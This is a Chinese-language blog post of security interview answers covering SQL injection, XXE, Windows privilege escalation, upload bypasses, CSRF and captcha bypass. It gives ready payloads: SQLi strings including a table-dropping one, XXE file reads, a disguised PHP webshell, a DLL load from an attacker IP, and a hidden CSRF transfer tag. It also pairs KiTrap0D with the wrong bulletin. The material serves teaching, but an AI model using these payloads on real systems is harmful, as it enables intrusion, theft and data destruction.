安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
1. SQL注入原理
💥 2. XXE攻擊(XML外部實體注入)
🧩 3. SQL注入分類
?? 4. Windows提權方法
📁 5. 文件上傳繞過技巧
🛡? 6. 代碼審計核心要點
🧠 7. 邏輯漏洞類型
🔓 8. 驗證碼繞過方法
🕸? 9. CSRF原理
🌐 10. 無工具的子域名收集
?
?2025年HW(護網面試) 14
1、sql注入原理 2、xxe 攻擊 3、sql注入都有哪些 4、Windows怎么提權 5、文件上傳繞過 6、代碼審計 7、邏輯漏洞有哪些 8、驗證碼繞過有哪些方法 9、csrf原理 10、不用工具的情況下 如何搜集子域名
1. SQL注入原理
核心機制:攻擊者通過篡改應用程序的SQL查詢結構,使數據庫執行惡意指令。
- 關鍵步驟:
- 輸入注入點:用戶輸入未過濾(如登錄框、搜索參數)。
- 查詢拼接:
SELECT * FROM users WHERE id='
1' OR 1=1--
'
(永真條件繞過認證)。- 惡意負載:執行UNION查詢、讀寫文件(如
UNION SELECT LOAD_FILE('/etc/passwd')
)。- 防護方案:參數化查詢(Prepared Statements)、輸入過濾正則(如
/[^a-z0-9]/i
)。
💥 2. XXE攻擊(XML外部實體注入)
原理:惡意注入外部實體解析XML文檔,觸發敏感信息泄露或SSRF。
- 攻擊場景:
- 文件讀取:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
→引用&xxe;
- 內網探測:
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">
- 防御:禁用DTD(
libxml_disable_entity_loader(true)
)、使用JSON替代XML。
🧩 3. SQL注入分類
類型 特點 案例 報錯注入 利用數據庫錯誤信息泄露數據 ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)--
布爾盲注 根據頁面真/假狀態推斷數據 ' AND SUBSTRING((SELECT user()),1,1)='a'--
時間盲注 通過延時響應判斷條件成立 ' AND IF(1=1,SLEEP(5),0)--
UNION注入 合并惡意查詢到原結果集 ' UNION SELECT username, password FROM users--
堆疊查詢 執行多條SQL語句(需數據庫支持) '; DROP TABLE users;--
?? 4. Windows提權方法
- 系統漏洞提權:
- 利用未修補漏洞(如PrintNightmare):
CVE-2021-34527
執行\\攻擊者IP\惡意dll
。- 工具:
MS14-058
(KiTrap0D)或CVE-2020-0787
(BITS服務漏洞)。- 服務配置濫用:
- 服務路徑劫持:修改可寫服務的執行路徑指向惡意程序。
- AlwaysInstallElevated:利用組策略允許非管理員安裝MSI(
msiexec /quiet /i cmd.msi
)。- 令牌模擬:
- Juicy Potato:利用COM對象提升至
NT AUTHORITY\SYSTEM
。- 數據庫提權:MSSQL啟用
xp_cmdshell
執行系統命令。
📁 5. 文件上傳繞過技巧
繞過目標 手法 示例 擴展名過濾 大小寫變異、雙擴展名 shell.phP
、shell.php.jpg
Content-Type 偽造MIME類型 image/png
(實際為PHP文件)文件頭偽造 添加圖片魔數(如GIF89a) GIF89a<?php system($_GET['c']);?>
解析漏洞 服務器特性(如IIS6.0分號解析) shell.asp;.jpg
→ 執行ASP代碼.htaccess覆蓋 自定義解析規則 AddType application/x-httpd-php .abc
🛡? 6. 代碼審計核心要點
- 危險函數定位:
- 敏感操作:
eval()
、system()
、unserialize()
。- 文件操作:
include()
、fopen()
(未校驗路徑)。- 漏洞模式識別:
- SQL注入:拼接SQL語句(如
"SELECT * FROM users WHERE id=".$_GET['id']
)。- XSS:未過濾輸出(如
echo $_GET['keyword']
)。- 框架安全機制:檢查Laravel、Spring等框架的CSRF防護是否啟用。
- 依賴組件風險:掃描已知漏洞庫(如
retire.js
檢測JavaScript漏洞)。
🧠 7. 邏輯漏洞類型
漏洞類型 原理 案例 越權訪問 水平越權(改用戶ID)、垂直越權(訪問管理接口) 普通用戶訪問 /admin/deleteUser?id=100
業務順序繞過 跳過關鍵步驟(如支付流程) 直接訪問“支付成功”接口URL 條件競爭 并發請求資源分配沖突 同時發起多次充值請求造成余額錯誤 參數篡改 修改接口參數(如價格、數量) 訂單支付時修改 amount=-100
🔓 8. 驗證碼繞過方法
- 技術型繞過:
- OCR識別:Tesseract破解簡單圖形驗證碼。
- 請求重放:重復使用同一驗證碼Token(如未服務端銷毀)。
- 邏輯型繞過:
- 空值/萬能碼:提交
code=``或
code=000000`繞過。- 接口未校驗:跳過驗證碼提交步驟直接發包。
- 自動化工具:
- Burp Intruder:暴力破解4位數字驗證碼。
- 打碼平臺:人工識別(如若快、聯眾)。
🕸? 9. CSRF原理
攻擊流程:
- 用戶登錄可信網站A(如銀行),留存Cookie。
- 誘導訪問惡意網站B,嵌入偽造請求:
html
<img src="http://bank.com/transfer?to=hacker&amount=10000" width="0">
- 瀏覽器自動攜帶Cookie發送請求,完成非授權操作。
防護方案:
- Token驗證:請求中嵌入服務器頒發的隨機Token。
- 同源策略:檢查
Origin
或Referer
頭。
🌐 10. 無工具的子域名收集
- 搜索引擎語法:
site:example.com
(Google/Bing)-site:www.example.com site:*.example.com
(排除主域)- SSL證書查詢:
- 通過
crt.sh
搜索域名證書關聯子域。- DNS歷史記錄:
- 訪問
SecurityTrails
或ViewDNS.info
查詢DNS變更。- 公開數據集:
- GitHub搜索
example.com
(開發者可能泄露測試域名)。- 被動DNS:
- 使用
RapidAPI
的DNSDB接口(免費配額)。